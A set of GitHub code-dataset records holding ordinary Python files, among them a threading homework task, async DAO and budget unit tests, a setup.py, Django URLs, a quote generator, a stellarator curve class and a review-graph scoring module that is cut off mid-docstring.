{"seq_id":"10920940690","text":"\"\"\"\nСоздайте функцию напоминалку в отдельном потоке от основном программы.\nФункция должна запрашивать о чем напомнить и через сколько секунд.\nВ основной части программы запустите поток с функцией и выполните задержку в 10 секунд.\nПосле выполнения программа должна написать \"программа завершается\"\n\"\"\"\n\nimport time\nfrom threading import Thread\n\ndef reminder():\n    rem = input('Напомнить:\\n')\n    second = int(input('Через сколько секунд:\\n'))\n    time.sleep(second)\n\n    print(rem)\n\n\nth = Thread(target=reminder)\nth.start()\ntime.sleep(10)\nprint('Программа завершается')\n\n#th = Thread(target=reminder, daemon=True) #программа завершиться в любом случае\n#th.start()\n#time.sleep(10)\n#th.join()  #ждет пока выполнится поток\n#print('Программа завершается')","repo_name":"Sovunya/Python_Homework","sub_path":"Threads/Task2.py","file_name":"Task2.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"35593669232","text":"import math\nimport random\nfrom collections import Counter\nfrom unittest import IsolatedAsyncioTestCase\n\nimport pytest\nfrom ash_dal import AsyncBaseDAO, AsyncDatabase, AsyncDeferredJoinPaginator, PaginatorPage\nfrom ash_dal.utils import DeferredJoinPaginatorFactory\nfrom faker import Faker\nfrom sqlalchemy import select\n\nfrom tests.constants import ASYNC_DB_URL\nfrom tests.dao.infrastructure import ExampleEntity, ExampleORMModel\n\n\nclass ExampleAsyncDAO(AsyncBaseDAO[ExampleEntity]):\n    __entity__ = ExampleEntity\n    __model__ = ExampleORMModel\n\n\nclass ExampleDAOCustomPaginator(ExampleAsyncDAO):\n    __paginator_factory__ = DeferredJoinPaginatorFactory[AsyncDeferredJoinPaginator](\n        paginator_class=AsyncDeferredJoinPaginator,\n        pk_field=ExampleORMModel.id,\n    )\n\n\nclass AsyncDAOTestCaseBase(IsolatedAsyncioTestCase):\n    async def asyncSetUp(self) -> None:\n        self.faker = Faker()\n        self.db = AsyncDatabase(db_url=ASYNC_DB_URL)\n        await self.db.connect()\n        async with self.db.engine.begin() as conn:\n            await conn.run_sync(ExampleORMModel.metadata.drop_all)\n            await conn.run_sync(ExampleORMModel.metadata.create_all)\n        self.dao = ExampleAsyncDAO(database=self.db)\n\n    async def asyncTearDown(self) -> None:\n        await self.db.disconnect()\n\n\nclass AsyncDAOFetchingTestCaseBase(AsyncDAOTestCaseBase):\n    def _generate_record(\n        self, id_: int, first_name: str | None = None, last_name: str | None = None, age: int | None = None\n    ):\n        return ExampleORMModel(\n            id=id_,\n            first_name=first_name or self.faker.first_name(),\n            last_name=last_name or self.faker.last_name(),\n            age=age or self.faker.pyint(min_value=10, max_value=100),\n        )\n\n\nclass AsyncDAOTestCase(AsyncDAOFetchingTestCaseBase):\n    async def test_get_by_pk(self):\n        expected_entity = ExampleEntity(\n            id=self.faker.pyint(min_value=1, max_value=10000),\n            first_name=self.faker.first_name(),\n            last_name=self.faker.last_name(),\n            age=self.faker.pyint(min_value=16, max_value=100),\n        )\n\n        db_obj = self._generate_record(\n            id_=expected_entity.id,\n            first_name=expected_entity.first_name,\n            last_name=expected_entity.last_name,\n            age=expected_entity.age,\n        )\n\n        async with self.db.session as session:\n            session.add(db_obj)\n            await session.commit()\n\n        result = await self.dao.get_by_pk(expected_entity.id)\n        assert result\n        assert isinstance(result, ExampleEntity)\n        assert result.id == expected_entity.id\n        assert result.first_name == expected_entity.first_name\n        assert result.last_name == expected_entity.last_name\n        assert result.age == expected_entity.age\n\n    async def test_get_by_pk__not_found(self):\n        result = await self.dao.get_by_pk(123)\n        assert not result\n\n\nclass AsyncDAOFetchAllTestCase(AsyncDAOFetchingTestCaseBase):\n    async def asyncSetUp(self) -> None:\n        await super().asyncSetUp()\n        self.records_count = self.faker.pyint(min_value=50, max_value=200)\n        await self._create_records(self.records_count)\n\n    async def _create_records(self, count: int):\n        records = tuple(self._generate_record(id_=i) for i in range(1, count + 1))\n        async with self.db.session as session:\n            session.add_all(records)\n            await session.commit()\n\n    async def test_all(self):\n        results = await self.dao.all()\n        assert results\n        assert isinstance(results, tuple)\n        assert len(results) == self.records_count\n        assert isinstance(results[0], ExampleEntity)\n\n    async def test_get_page__default_page_size(self):\n        results = await self.dao.get_page()\n        assert results\n        assert isinstance(results, PaginatorPage)\n        assert len(results) == self.dao.__default_page_size__\n        assert isinstance(results[0], ExampleEntity)\n\n    async def test_get_page__custom_page_size(self):\n        page_size = self.faker.pyint(min_value=2, max_value=20)\n        results = await self.dao.get_page(page_size=page_size)\n        assert results\n        assert len(results) == page_size\n\n    async def test_get_page__defined_page_index(self):\n        page_index = self.faker.pyint(min_value=1, max_value=4)\n        page_size = 10\n        results = await self.dao.get_page(page_index=page_index, page_size=page_size)\n        assert results\n        assert len(results) == page_size\n\n    async def test_get_page__page_index_out_of_range(self):\n        page_size = 10\n        page_index = math.ceil(self.records_count / page_size) + 1\n        results = await self.dao.get_page(page_index=page_index, page_size=page_size)\n        assert not results\n        assert isinstance(results, PaginatorPage)\n\n    async def test_paginate__default_page_size(self):\n        page_size = self.dao.__default_page_size__\n        pages_count = math.ceil(self.records_count / page_size)\n        pages_counter = 0\n        async for page in self.dao.paginate():\n            pages_counter += 1\n            assert isinstance(page, PaginatorPage)\n            assert isinstance(page[0], ExampleEntity)\n            if page.index + 1 < pages_count:\n                assert len(page) == page_size\n            else:\n                assert len(page) <= page_size\n        assert pages_count == pages_counter\n\n    async def test_paginate__custom_page_size(self):\n        page_size = self.faker.pyint(min_value=2, max_value=20)\n        pages_count = math.ceil(self.records_count / page_size)\n        pages_counter = 0\n        async for page in self.dao.paginate(page_size=page_size):\n            pages_counter += 1\n            assert isinstance(page, PaginatorPage)\n            if page.index + 1 < pages_count:\n                assert len(page) == page_size\n            else:\n                assert len(page) <= page_size\n        assert pages_count == pages_counter\n\n\nclass AsyncDAOFetchFilteredTestCase(AsyncDAOFetchingTestCaseBase):\n    async def asyncSetUp(self) -> None:\n        await super().asyncSetUp()\n        self.records_count = self.faker.pyint(min_value=50, max_value=200)\n        self.records_counter = Counter()\n        await self._create_records(self.records_count)\n\n    async def _create_records(self, count: int):\n        records = tuple(self._generate_record(id_=i) for i in range(1, count + 1))\n        async with self.db.session as session:\n            session.add_all(records)\n            await session.commit()\n\n    def _generate_record(\n        self, id_: int, first_name: str | None = None, last_name: str | None = None, age: int | None = None\n    ):\n        record = ExampleORMModel(\n            id=id_,\n            first_name=first_name or self.faker.first_name(),\n            last_name=last_name or self.faker.last_name(),\n            age=age or random.choice((20, 30)),\n        )\n        self.records_counter[str(record.age)] += 1\n        return record\n\n    async def test_filter(self):\n        results_20_age = await self.dao.filter(specification={\"age\": 20})\n        results_30_age = await self.dao.filter(specification={\"age\": 30})\n        assert len(results_20_age) == self.records_counter[\"20\"]\n        assert len(results_30_age) == self.records_counter[\"30\"]\n\n    async def test_filter__not_found(self):\n        results = await self.dao.filter(specification={\"age\": 40})\n        assert not results\n        assert isinstance(results, tuple)\n\n    async def test_paginate_filtered(self):\n        page_size = 3\n        pages_count = math.ceil(self.records_counter[\"30\"] / page_size)\n        page_counter = 0\n        async for page in self.dao.paginate(specification={\"age\": 30}, page_size=page_size):\n            assert page\n            assert isinstance(page, PaginatorPage)\n            if page.index + 1 < pages_count:\n                assert len(page) == page_size\n            else:\n                assert len(page) <= page_size\n            assert isinstance(page[0], ExampleEntity)\n            page_counter += 1\n        assert page_counter == pages_count\n\n\nclass AsyncDAOCustomPaginatorUseCase(AsyncDAOFetchAllTestCase):\n    async def asyncSetUp(self) -> None:\n        await super().asyncSetUp()\n        self.dao = ExampleDAOCustomPaginator(database=self.db)\n\n\nclass AsyncDAOCreateTestCase(AsyncDAOTestCaseBase):\n    async def test_create(self):\n        data = {\n            \"first_name\": self.faker.first_name(),\n            \"last_name\": self.faker.last_name(),\n            \"age\": self.faker.pyint(min_value=10, max_value=100),\n        }\n        entity = await self.dao.create(data=data)\n        assert isinstance(entity, ExampleEntity)\n        async with self.db.session as session:\n            instance = await session.get(ExampleORMModel, entity.id)\n            assert instance\n\n    async def test_bulk_create(self):\n        items_count = self.faker.pyint(min_value=2, max_value=10)\n        data = tuple(\n            {\n                \"first_name\": self.faker.first_name(),\n                \"last_name\": self.faker.last_name(),\n                \"age\": self.faker.pyint(min_value=10, max_value=100),\n            }\n            for _ in range(items_count)\n        )\n        await self.dao.bulk_create(data=data)\n        async with self.db.session as session:\n            results = await session.execute(select(ExampleORMModel))\n            items = results.all()\n            assert len(items) == items_count\n\n\nclass AsyncDAOUpdateTestCase(AsyncDAOTestCaseBase):\n    async def _create_record(self):\n        data = {\n            \"first_name\": self.faker.first_name(),\n            \"last_name\": self.faker.last_name(),\n            \"age\": self.faker.pyint(min_value=10, max_value=100),\n        }\n        async with self.db.session as session:\n            db_item = ExampleORMModel(**data)\n            session.add(db_item)\n            await session.commit()\n        return {**data, \"id\": db_item.id}\n\n    async def test_update(self):\n        created_record = await self._create_record()\n        update_data = {\n            \"first_name\": self.faker.first_name(),\n            \"last_name\": self.faker.last_name(),\n            \"age\": self.faker.pyint(min_value=10, max_value=100),\n        }\n        record_id = created_record.get(\"id\")\n        is_updated = await self.dao.update(specification={\"id\": record_id}, update_data=update_data)\n        assert is_updated\n        async with self.db.session as session:\n            instance = await session.get(ExampleORMModel, record_id)\n            assert instance\n            assert instance.first_name == update_data[\"first_name\"]\n            assert instance.last_name == update_data[\"last_name\"]\n            assert instance.age == update_data[\"age\"]\n\n    async def test_update__empty_specification(self):\n        with pytest.raises(ValueError):\n            await self.dao.update(specification={}, update_data={})\n\n\nclass AsyncDAODeleteTestCase(AsyncDAOTestCaseBase):\n    async def _create_record(self):\n        data = {\n            \"first_name\": self.faker.first_name(),\n            \"last_name\": self.faker.last_name(),\n            \"age\": self.faker.pyint(min_value=10, max_value=100),\n        }\n        async with self.db.session as session:\n            db_item = ExampleORMModel(**data)\n            session.add(db_item)\n            await session.commit()\n        return {**data, \"id\": db_item.id}\n\n    async def test_delete(self):\n        created_record = await self._create_record()\n        record_id = created_record.get(\"id\")\n        is_deleted = await self.dao.delete(specification={\"id\": record_id})\n        assert is_deleted\n        async with self.db.session as session:\n            instance = await session.get(ExampleORMModel, record_id)\n            assert not instance\n\n    async def test_delete__empty_specification(self):\n        with pytest.raises(ValueError):\n            await self.dao.delete(specification={})\n","repo_name":"meetash/ash-dal","sub_path":"tests/dao/test_async_dao.py","file_name":"test_async_dao.py","file_ext":"py","file_size_in_byte":11896,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"6085415524","text":"import unittest\r\nimport pandas as pd\r\nfrom budget import *\r\n\r\n\r\nclass testModifyEntry(unittest.TestCase):\r\n\r\n\tdf = pd.read_csv('budget.csv')\r\n\r\n\r\n\tdef testDate(self):\r\n\t\t#test that the date is formated correctly\r\n\t\tmodifyEntry(df = df, row = 0, date = '10/2/2018')\r\n\t\tself.assertEqual(df.at[0, 'Date'], pd.to_datetime('10/02/2018', exact = False).date())\r\n\t\t# test that the function does not accept incorrect data types\r\n\t\tself.assertRaises(ValueError, modifyEntry, df = df, row = 0, date = 'n')\r\n\t\t\r\n\t\t\r\n\r\n\tdef testCategory(self):\r\n\t\t# test that the function raises errors for an input that is a number\r\n\t\tself.assertRaises(TypeError, modifyEntry, df = df, row = 0, category = 5)\r\n\t\t# test that the function raises errors for an input that is a string with numbers\r\n\t\tself.assertRaises(TypeError, modifyEntry, df = df, row = 0, category = 'ab#5')\r\n\t\t# test that the function raises errors for an input that is an empty string\r\n\t\tself.assertRaises(TypeError, modifyEntry, df = df, row = 0, category = '')\r\n\t\t# test that the category is properly changed\r\n\t\tmodifyEntry(df = df, row = 0, category = 'Food')\r\n\t\tself.assertEqual(df.at[0, 'type'], 'Food')\r\n\t\t\r\n\r\n\tdef testAmount(self):\r\n\t\t# test that strings cannot be put into amount\r\n\t\tself.assertRaises(ValueError, modifyEntry, df = df, row = 0, amount = 'n')\r\n\t\t# test that negative numbers cannot be put into amount\r\n\t\tself.assertRaises(ValueError, modifyEntry, df = df, row = 0, amount = -5)\r\n\t\t# test that numbers are properly changed and formated\r\n\t\tmodifyEntry(df = df, row = 0, amount = 5)\r\n\t\tself.assertEqual(df.at[0, 'Ammount'], '$5.00')\r\n\r\nclass testDeleteRowEntry(unittest.TestCase):\r\n\r\n\r\n\tdef testDeleteRow(self):\r\n\r\n\t\t# test that a row is properly deleted\r\n\t\tdf = pd.read_csv('budget.csv')\r\n\r\n\t\tsecondRow = [df.at[1, \"Date\"], df.at[1,\"type\"], df.at[1,\"Ammount\"]]\r\n\r\n\t\tdf = deleteRowEntry(df, row=0)\r\n\r\n\t\tnewFirstRow = [df.at[0, \"Date\"], df.at[0,\"type\"], df.at[0,\"Ammount\"]]\r\n\r\n\t\tself.assertEqual(secondRow, newFirstRow)\r\n\r\nif __name__ == '__main__':\r\n    unittest.main()","repo_name":"nbopardi/cs329e_python","sub_path":"Project_1/test_budget.py","file_name":"test_budget.py","file_ext":"py","file_size_in_byte":2031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72616658660","text":"import setuptools\n\nrequirements = []\nwith open(\"requirements.txt\") as f:\n    requirements = f.read().splitlines()\n\nwith open(\"README.md\", \"r\", encoding=\"utf-8\") as f:\n    description = f.read()\n\nsetuptools.setup(\n    name=\"complain\",\n    version=\"0.0.2\",\n    author=\"Leg3ndary\",\n    author_email=\"bleg3ndary@gmail.com\",\n    description=\"A python wrapper for Scott Pakins complaint generator\",\n    long_description=description,\n    long_description_content_type=\"text/markdown\",\n    url=\"https://github.com/Leg3ndary/complain\",\n    project_urls={\n        \"Bug Tracker\": \"https://github.com/Leg3ndary/complain/issues\",\n    },\n    install_requires=requirements,\n    classifiers=[\n        \"Programming Language :: Python :: 3\",\n        \"License :: OSI Approved :: MIT License\",\n        \"Intended Audience :: Developers\",\n        \"Operating System :: OS Independent\",\n        \"Topic :: Internet\",\n        \"Topic :: Software Development :: Libraries\",\n        \"Topic :: Software Development :: Libraries :: Python Modules\",\n        \"Topic :: Utilities\",\n    ],\n    package_dir={\"\": \"complain\"},\n    packages=setuptools.find_packages(where=\"src\"),\n    python_requires=\">=3.6\",\n)","repo_name":"Leg3ndary/complain","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"18733362434","text":"from django.urls import path, include\nfrom . import views\n\napp_name = 'travel'\n\nurlpatterns = [\n  \n    # Travel\n    path('', views.TravelListView.as_view(), name='list'),\n    path('<int:pk>/', views.TravelDetailView.as_view(), name='detail'),\n    path('<int:travel_id>/likes/', views.LikeTravel.as_view(), name='like_travel'),\n    path('<int:travel_id>/unlikes/', views.UnLikeTravel.as_view(), name='like_travel'),\n    path('<int:travel_id>/todo/', views.TodoListView.as_view(), name='todo'),\n    path('<int:travel_id>/todo/<int:todo_id>/', views.TodoDetailView.as_view(), name='todo_detail'),\n    path('<int:travel_id>/upload/', views.MainImageView.as_view(), name='main_image'),\n\n    # Travel Plan\n    path('<int:pk>/plan/', views.TravelPlanListView.as_view(), name='plan'),\n    path('<int:pk>/plan/<int:plan_pk>/', views.TravelPlanDetailView.as_view(), name='plan'),\n    path('api/<int:travel_id>/', views.TravelApi.as_view(), name='api'),\n]\n","repo_name":"min-ki/GamGam","sub_path":"GamGam/travel/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"70089274981","text":"# shebang\n# -*- coding: UTF-8 -*-\n\n# https://github.com/Cornelius-Figgle/other/blob/main/py/alex/\n\n'''\nA random quote generator for Alex\n\nPulls quotes from `quotes.txt` or `sys.argv[1]`, which is actually a `csv` file\n'''\n\n# note: view associated GitHub info as well\n__version__ = 'v1.0'  \n__author__ = 'Cornelius-Figgle'\n__email__ = 'max@fullimage.net'\n__maintainer__ = 'Cornelius-Figgle'\n__copyright__ = 'Copyright (c) 2022 Max Harrison'\n__license__ = 'MIT'\n__status__ = 'Development'\n__credits__ = ['Max Harrison', 'Alex Ceaton', 'Ashe Ceaton']\n\n\nimport csv\nimport os\nimport sys\nfrom random import choice\n\nif hasattr(sys, '_MEIPASS'):\n    # source: https://stackoverflow.com/a/66581062/19860022\n    file_base_path = sys._MEIPASS\n    # source: https://stackoverflow.com/a/36343459/19860022\nelse:\n    file_base_path = os.path.dirname(__file__)\n\n\ndef loader(path_to_use: str) -> list[str]:\n    '''\n    loads `quotes` from `path_to_use`\n    '''\n\n    with open(path_to_use) as file:\n        reader = csv.reader(file)\n        quotes = list(reader)\n\n        quotes = sum(quotes, [])\n        for quote in quotes:\n            quotes[quotes.index(quote)] = quote.strip()\n    \n    return quotes\n\ndef selector(quotes: list) -> tuple[str, list[str]]:\n    '''\n    randomly chooses a quote from the list and removes said quote\n    '''\n\n    qotd = choice(quotes)\n    quotes.pop(quotes.index(qotd))\n\n    return qotd, quotes\n\n\ndef main() -> None:\n    '''\n    The main function that handles passing or args and return values.\n    Also handles the application loop and errors from functions\n    '''\n\n    try:\n        if (sys.argv[1] and os.path.exists(sys.argv[1]) \n        and os.access(sys.argv[1], os.X_OK | os.W_OK)):\n            path_to_use = sys.argv[1]\n        else:\n            raise IndexError\n            # note: so var is only set in the except block\n            # note: to prevent duplicates\n    except IndexError:\n        path_to_use = os.path.join(file_base_path, 'quotes.txt') \n\n    try:\n        quotes = loader(path_to_use)        \n        while True:\n            if not quotes:\n                # note: if all the quotes have been used, restore list\n                quotes = loader(path_to_use)\n            qotd, quotes = selector(quotes)\n            print(f'\\'{qotd}\\'')\n\n            input('\\t> Press enter to continue\\n')\n    except KeyboardInterrupt:\n        sys.exit(0)\n\nif __name__ == '__main__':\n    main()\n","repo_name":"Cornelius-Figgle/other","sub_path":"py/alex/alex_word.py","file_name":"alex_word.py","file_ext":"py","file_size_in_byte":2412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41094573937","text":"from .curve import JaxCurve, Curve\nfrom math import pi\nfrom jax.ops import index, index_add\nimport jax.numpy as jnp\nimport numpy as np\nimport simsgeopp as sgpp\n\n\ndef stelleratorsymmetriccylindricalfouriercurve_pure(dofs, quadpoints, order, nfp):\n    coefficients0 = dofs[:(order+1)]\n    coefficients1 = dofs[(order+1):]\n    gamma = jnp.zeros((len(quadpoints), 3))\n    for i in range(order+1):\n        gamma = index_add(gamma, index[:, 0], coefficients0[i] * jnp.cos(nfp * 2 * pi * i * quadpoints) * jnp.cos(2 * pi * quadpoints))\n        gamma = index_add(gamma, index[:, 1], coefficients0[i] * jnp.cos(nfp * 2 * pi * i * quadpoints) * jnp.sin(2 * pi * quadpoints))\n    for i in range(1, order+1):\n        gamma = index_add(gamma, index[:, 2], coefficients1[i-1] * jnp.sin(nfp * 2 * pi * i * quadpoints))\n    return gamma\n\n\nclass JaxStelleratorSymmetricCylindricalFourierCurve(JaxCurve):\n\n    \"\"\" This class can for example be used to describe a magnetic axis. \"\"\"\n\n    def __init__(self, quadpoints, order, nfp):\n        if isinstance(quadpoints, int):\n            quadpoints = np.linspace(0, 1/nfp, quadpoints, endpoint=False)\n        pure = lambda dofs, points: stelleratorsymmetriccylindricalfouriercurve_pure(dofs, points, order, nfp)\n        super().__init__(quadpoints, pure)\n        self.order = order\n        self.nfp = nfp\n        self.coefficients = [np.zeros((order+1,)), np.zeros((order,))]\n\n    def num_dofs(self):\n        return 2*self.order+1\n\n    def get_dofs(self):\n        return np.concatenate(self.coefficients)\n\n    def set_dofs_impl(self, dofs):\n        counter = 0\n        for i in range(self.order+1):\n            self.coefficients[0][i] = dofs[i]\n        for i in range(self.order):\n            self.coefficients[1][i] = dofs[self.order + 1 + i]\n        for d in self.dependencies:\n            d.invalidate_cache()\n\nclass StelleratorSymmetricCylindricalFourierCurve(sgpp.StelleratorSymmetricCylindricalFourierCurve, Curve):\n\n    def __init__(self, quadpoints, order, nfp):\n        if isinstance(quadpoints, int):\n            quadpoints = list(np.linspace(0, 1./nfp, quadpoints, endpoint=False))\n        elif isinstance(quadpoints, np.ndarray):\n            quadpoints = list(quadpoints)\n        Curve.__init__(self)\n        sgpp.StelleratorSymmetricCylindricalFourierCurve.__init__(self, quadpoints, order, nfp)\n\n    def get_dofs(self):\n        return np.asarray(sgpp.StelleratorSymmetricCylindricalFourierCurve.get_dofs(self))\n\n    def set_dofs(self, dofs):\n        sgpp.StelleratorSymmetricCylindricalFourierCurve.set_dofs(self, dofs)\n        for d in self.dependencies:\n            d.invalidate_cache()\n","repo_name":"hiddenSymmetries/simsgeo","sub_path":"simsgeo/magneticaxis.py","file_name":"magneticaxis.py","file_ext":"py","file_size_in_byte":2630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"37565646246","text":"from collections.abc import Collection\nfrom functools import cache\nfrom typing import Final, NamedTuple, Optional\n\nimport networkx as nx\nimport numpy as np\n\n\ndef _scale(v: float) -> float:\n    \"\"\"Scaling a given value.\n\n    The output is defined by\n\n    .. math::\n\n        {\\\\rm scale}(v) = \\\\frac{2}{1 + \\\\exp(-v)} - 1\n\n    Args:\n      v: Input value.\n\n    Returns:\n      Output value defined above.\n    \"\"\"\n    e = np.exp(-v)\n    return float(2.0 / (1.0 + e) - 1.0)\n\n\nclass Node:\n    \"\"\"Abstract class of review graph.\n\n    Args:\n      graph: the graph object this node will belong to.\n      name: name of this node.\n    \"\"\"\n\n    name: Final[str]\n    \"\"\"Name of this node.\"\"\"\n    _g: Final[\"ReviewGraph\"]\n    \"\"\"Graph object this node belongs to.\"\"\"\n\n    __slots__ = (\"name\", \"_g\")\n\n    def __init__(self, graph: \"ReviewGraph\", name: Optional[str] = None) -> None:\n        self._g = graph\n        self.name = name if name else super().__str__()\n\n    def __eq__(self, other: object) -> bool:\n        if not isinstance(other, type(self)):\n            return False\n        return self.name == other.name\n\n    def __hash__(self) -> int:\n        return 13 * hash(type(self)) + 17 * hash(self.name)\n\n\nclass Reviewer(Node):\n    \"\"\"A node class representing a reviewer.\n\n    Args:\n      graph: Graph object this reviewer belongs to.\n      name: Name of this reviewer.\n      anomalous: Initial anomalous score (default: None).\n    \"\"\"\n\n    trustiness: float\n    \"\"\"A float value in [0, 1] which represents trustiness of this reviewer.\"\"\"\n\n    __slots__ = (\"trustiness\",)\n\n    def __init__(self, graph: \"ReviewGraph\", name: Optional[str] = None, anomalous: Optional[float] = None) -> None:\n        super().__init__(graph, name)\n\n        # If an initial anomalous score is given, use it.\n        self.trustiness = 1.0 - anomalous if anomalous else 0.5\n\n    @property\n    def anomalous_score(self) -> float:\n        \"\"\"Returns the anomalous score of this reviewer.\n\n        The anomalous score is defined by 1 - trustiness.\n        \"\"\"\n        return 1.0 - self.trustiness\n\n    def update_trustiness(self) -> float:\n        \"\"\"Update trustiness of this reviewer.\n\n        The updated trustiness of a reviewer :math:`u` is defined by\n\n        .. math::\n\n           {\\\\rm trustiness}(u) =\n             \\\\frac{2}{1 + \\\\exp(-\\\\sum_{r \\\\in R(u)} {\\\\rm honesty(r)} )} - 1\n\n        where :math:`R(u)` is a set of reviews the reviewer :math:`u` posts.\n\n        Returns;\n          absolute difference between the old trustiness and updated one.\n        \"\"\"\n        sum_h = 0.0\n        for re in self._g.retrieve_reviews_by_reviewer(self):\n            sum_h += re.honesty\n        new = _scale(sum_h)\n\n        diff = abs(self.trustiness - new)\n        self.trustiness = new\n        return diff\n\n    def __str__(self) -> str:\n        return f\"{self.name}: {self.anomalous_score}\"\n\n\nclass Product(Node):\n    \"\"\"A node class representing a product.\n\n    Args:\n      graph: Graph object this product belongs to.\n      name: Name of this product.\n    \"\"\"\n\n    reliability: float\n    \"\"\"A float value in [0, 1], which represents reliability of this product.\"\"\"\n\n    __slots__ = (\"reliability\",)\n\n    def __init__(self, graph: \"ReviewGraph\", name: Optional[str] = None):\n        super(Product, self).__init__(graph, name)\n        self.reliability = 0.5\n\n    @property\n    def summary(self) -> float:\n        \"\"\"Summary of reviews.\n\n        This value is same as reliability.\n        Original algorithm uses *reliability* but our algorithm uses *summary*.\n        For convenience, both properties remain.\n        \"\"\"\n        return self.reliability\n\n    def update_reliability(self) -> float:\n        \"\"\"Update product's reliability.\n\n        The new reliability is defined by\n\n        .. math::\n\n          {\\\\rm reliability}(p) = \\\\frac{2}{1 + e^{-\\\\theta}} - 1, \\\\quad\n          \\\\theta = \\\\sum_{r \\\\in R(p)}\n                      {\\\\rm trustiness}(r)({\\\\rm review}(r, p) - \\\\hat{s}),\n\n        where :math:`R(p)` is a set of reviewers product *p* receives,\n        trustiness is defined in :meth:`Reviewer.trustiness`,\n        review(*r*, *p*) is the review score reviewer *r* has given to product *p*,\n        and :math:`\\\\hat{s}` is the median of review scores.\n\n        Returns:\n          absolute difference between old reliability and new one.\n        \"\"\"\n        res = 0.0\n\n        reviews = self._g.retrieve_reviews_by_product(self)\n        s = float(np.median([re.rating for re in reviews]))\n        for re in reviews:\n            for r in self._g.retrieve_reviewers(re):\n                res += r.trustiness * (re.rating - s)\n\n        new = _scale(res)\n        diff = abs(self.reliability - new)\n        self.reliability = new\n        return diff\n\n    def __str__(self) -> str:\n        return f\"{self.name}: {self.summary}\"\n\n\nclass Review:\n    \"\"\"A graph entity representing a review.\n\n    Args:\n      graph: Graph object this product belongs to.\n      time: When this review is posted.\n      rating: Rating of this review.\n    \"\"\"\n\n    rating: Final[float]\n    \"\"\"Rating score of this review.\"\"\"\n    honesty: float\n    \"\"\"Honesty score.\"\"\"\n    agreement: float\n    \"\"\"Agreement score.\"\"\"\n    time: Final[int]\n    \"\"\"Time when this review posted.\"\"\"\n\n    _g: Final[\"ReviewGraph\"]\n\n    __slots__ = (\"rating\", \"honesty\", \"agreement\", \"time\", \"_g\")\n\n    def __init__(self, graph: \"ReviewGraph\", time: int, rating: float) -> None:\n        self._g = graph\n        self.time = time\n        self.rating = rating\n\n        self.honesty = 0.5\n        self.agreement = 0.5\n\n    def update_honesty(self) -> float:\n        \"\"\"Update honesty of this review.\n\n        The updated honesty of this review :math:`r` is defined by\n\n        .. math::\n\n           {\\\\rm honesty}(r)\n             = |{\\\\rm reliability}(P(r))| \\\\times {\\\\rm agreement}(r)\n\n        where :math:`P(r)` is the product this review posted.\n\n        Returns:\n          absolute difference between old honesty and new one.\n        \"\"\"\n        res = 0.0\n        for p in self._g.retrieve_products(self):\n            res += abs(p.reliability) * self.agreement\n\n        diff = abs(self.honesty - res)\n        self.honesty = res\n        return diff\n\n    def update_agreement(self, delta: float) -> float:\n        \"\"\"Update agreement of this review.\n\n        This process considers reviews posted in a close time span of this review.\n        More precisely, let :math:`t` be the time when this review posted\n        and :math:`\\\\delta` be the time span,\n        only reviews of which posted times are in :math:`[t - \\\\delta, t+\\\\delta]`\n        are considered.\n\n        The updated agreement of a review :math:`r` will be computed with such\n        reviews by\n\n        .. math::\n\n           {\\\\rm agreement}(r)\n             = \\\\frac{2}{1 + \\\\exp(\n                \\\\sum_{v \\\\in R_{+}} {\\\\rm trustiness}(v)\n                    - \\\\sum_{v \\\\in R_{-}} {\\\\rm trustiness}(v)\n             )} - 1\n\n        where :math:`R_{+}` is a set of reviews close to the review :math:`r`,\n        i.e. the difference between ratings are smaller than or equal to delta,\n        :math:`R_{-}` is the other reviews. The trustiness of a review means\n        the trustiness of the reviewer who posts the review.\n\n        Args:\n          delta: a time span :math:`\\\\delta`.\n                 Only reviews posted in the span will be considered for this update.\n\n        Returns:\n          absolute difference between old agreement and new one.\n        \"\"\"\n        score_diff = 1.0 / 5.0\n        agree, disagree = self._g.retrieve_reviews(self, delta, score_diff)\n\n        res = 0.0\n        for re in agree:\n            for r in self._g.retrieve_reviewers(re):\n                res += r.trustiness\n        for re in disagree:\n            for r in self._g.retrieve_reviewers(re):\n                res -= r.trustiness\n\n        new = _scale(res)\n        diff = abs(self.agreement - new)\n        self.agreement = new\n        return diff\n\n    def __str__(self) -> str:\n        return f\"Review (time={self.time}, rating={self.rating}, agreement={self.agreement}, honesty={self.honesty})\"\n\n\nclass ReviewSet(NamedTuple):\n    \"\"\"Pair of agreed reviews and disagreed reviews.\"\"\"\n\n    agree: Collection[Review]\n    \"\"\"Collection of agreed reviews.\"\"\"\n    disagree: Collection[Review]\n    \"\"\"Collection of disagreed reviews.\"\"\"\n\n\nclass ReviewGraph:\n    \"\"\"A bipartite graph of which one set of nodes represent reviewers and the other set of nodes represent products.\n\n    Each edge has a label representing a review.\n\n    Args:\n        theta: A parameter for updating.\n            See `the paper <https://ieeexplore.ieee.org/document/6137345?arnumber=6137345>`__ for more details.\n    \"\"\"\n\n    graph: Final[nx.DiGraph]\n    \"\"\"Graph object of networkx.\"\"\"\n    reviewers: Final[list[Reviewer]]\n    \"\"\"Collection of reviewers.\"\"\"\n    products: Final[list[Product]]\n    \"\"\"Collection of products.\"\"\"\n    reviews: Final[list[Review]]\n    \"\"\"Collection of reviews.\"\"\"\n    _theta: Final[float]\n    \"\"\"Parameter of the algorithm.\"\"\"\n    _delta: Optional[float]\n    \"\"\"Cached time delta.\"\"\"\n\n    def __init__(self, theta: float) -> None:\n        self.graph = nx.DiGraph()\n        self.reviewers = []\n        self.products = []\n        self.reviews = []\n        self._theta = theta\n        self._delta = None\n\n    @property\n    def delta(self) -> float:\n        \"\"\"Time delta.\n\n        This value is defined by\n        :math:`\\\\delta = (t_{\\\\rm max} - t_{\\\\rm min}) \\\\times \\\\theta`,\n        where :math:`t_{\\\\rm max}, t_{\\\\rm min}` are the maximum time,\n        minimum 